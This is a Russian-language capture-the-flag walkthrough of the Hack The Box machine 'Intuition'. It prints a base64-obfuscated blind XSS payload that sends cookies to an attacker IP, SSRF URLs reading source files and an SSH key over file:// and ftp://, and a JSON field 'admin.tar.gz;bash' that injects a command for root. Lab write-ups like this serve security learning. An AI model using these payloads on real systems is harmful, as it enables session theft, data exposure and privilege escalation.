Авторы: FaLLenSkiLL Malwarya

Ссылка на тачку HTB:
https://app.hackthebox.com/machines/Intuition
Разведка
Сканируем порты nmap-ом:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 13:20 +05
Nmap scan report for 10.10.11.15
Host is up (0.090s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Сразу для удобства добавляем запись в hosts
echo "10.10.11.15 comprezzor.htb" | sudo tee -a /etc/hosts
На домене comprezzor.htb видим возможность загружать и сжимать файлы

Сжатие происходит по алгоритму “LZMA”

На данный алгоритм есть CVE, будем иметь в виду

Но после нескольких безуспешных попыток проэксплуатировать эту уязвимость, было принято решения поискать другие вектора атаки
Поищем существующие поддомены:
gobuster vhost --append-domain -u http://comprezzor.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt --random-agent -t 600

Найденные поддомены добавляем в /etc/hosts
echo "10.10.11.15 auth.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 dashboard.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 report.comprezzor.htb" | sudo tee -a /etc/hosts
На поддомене auth.comprezzor.htb нас встречает форма авторизации

User flag
Зарегистрировав новую учетную запись, войдем под своим пользователем. Получаем возможность отправлять репорты

В данной форме находим Blind XSS, позволяющую получить куки пользователя. Используем следующий payload:
<img src=x onerror='eval(atob("ZmV0Y2goJ2h0dHA6Ly8xMC4xMC4xNC4zNjo3Nzc3Lz9jb29raWU9Jytkb2N1bWVudC5jb29raWUp"));' />
Таким образом на прослушиватель прилетят куки пользователя:

Вместо nc также можно использовать и python server:

Используем куки для получения сессии

Видим dashboard, где репорты имеют определенные приоритеты. Чтобы захватить куки админа, наш репорт с payload-ом должен иметь 1 приоритет.

Выставляем повышенный приоритет своему репорту

Отправляем payload и перехватываем куки админа

Также, как и с webdev используем его сессию для получения доступа в функционалу создания PDF репортов


Через уязвимую форму URL отправим запрос на свой же IP


В возвращенном пакете данных видим, что используется Python-urllib версии 3.11. При поиске связанных уязвимостей было обнаружено, что существует CVE-2023-24329. Принцип таков: когда URL начинается с пустого символа, у urllib.pу parse возникают проблемы с синтаксическим анализом (влияющие на разрешение имени хоста и схемы). Любой метод фильтрации по домену или протоколу, реализованный с использованием списка блокировок, можно обойти, указав URL-адрес, начинающийся с пустого символа. Успешное использование этой уязвимости может привести к произвольному чтению файлов, выполнению команд или SSRF.

Таким образом мы можем читать любые файлы

Прочитаем /proc/self/cmdline для просмотра текущего процесса

Теперь можем посмотреть на исходный код приложения, где виден flask secret key

Нужно обратить внимание на то, что этот скрипт также импортирует и другие модули, а именно index, report, auth и dashboard в разделе bludeprints. Сразу можно предположить, что исходный код является скриптом .py. Попробуем прочитать их.

file:///app/code/blueprints/index/index.py

file:///app/code/blueprints/report/report.py

file:///app/code/blueprints/auth/auth.py

file:///app/code/blueprints/dashboard/dashboard.py

Находим пароль админа

Подключаемся к внутреннему ftp через уязвимость SSRF
ftp://ftp_admin:[email protected]

Читаем файлы, которые находятся на внутреннем ftp

Получаем зашифрованный ssh key
ftp://ftp_admin:[email protected]/private-8297.key

Рядом с приватным ключом была записка, содержащая пароль для расшифровки
ftp://ftp_admin:[email protected]/welcome_note.txt

Расшифровываем приватный ключ и подключаемся по ssh

Получаем user flag

Privilege escalation
Я начал с просмотра открытых портов, но к сожалению там не оказалось ничего интересного

В отличии от директории /var/www/app, где оказалась база данных пользователей

Просматриваем БДшку

Достаем хеши и с сбрученным паролем подключаемся по ftp


После чего достаем от туда все файлы


Просматривая полученный код, я обнаружил, что файл в основном выполняет команды ansible-playbook.
Основная программная логическая функция обрабатывает параметры командной строки и определяет режим работы. Основными операционными запросами являются: список, запуск и установка running. Playbook получит имя файла playbook, создаст командную строку для использования ansible-playbook и использует эту функцию для выполнения команды. Системная функция Listing Playbooks просканирует каталог PLAYBOOK_LOCATION. Это нам поможем в дальнейшем, при повышении до root.

С директории с сурикатой находим креды от пользователя Lopez

Root flag
Lopez может выполнять runner2 из под sudo, и он также является членом группы пользователей sys-adm

Мы можем создать .tar.gz и изменить его имя для выполнения любой команды. Следует отметить, что /usr/bin/ansible-galaxy проверит, является ли это допустимым сжатым файлом, поэтому для его создания необходимо использовать шаблон.
https://github.com/coopdevs/sys-admins-role/archive/v0.0.3.tar.gz

Создаем нужный json файл
{
"run":{
"action":"install",
"role_file":"admin.tar.gz;bash"
},
"auth_code":"UHI75GHINKOP"
}Повышаемся до root

Tags: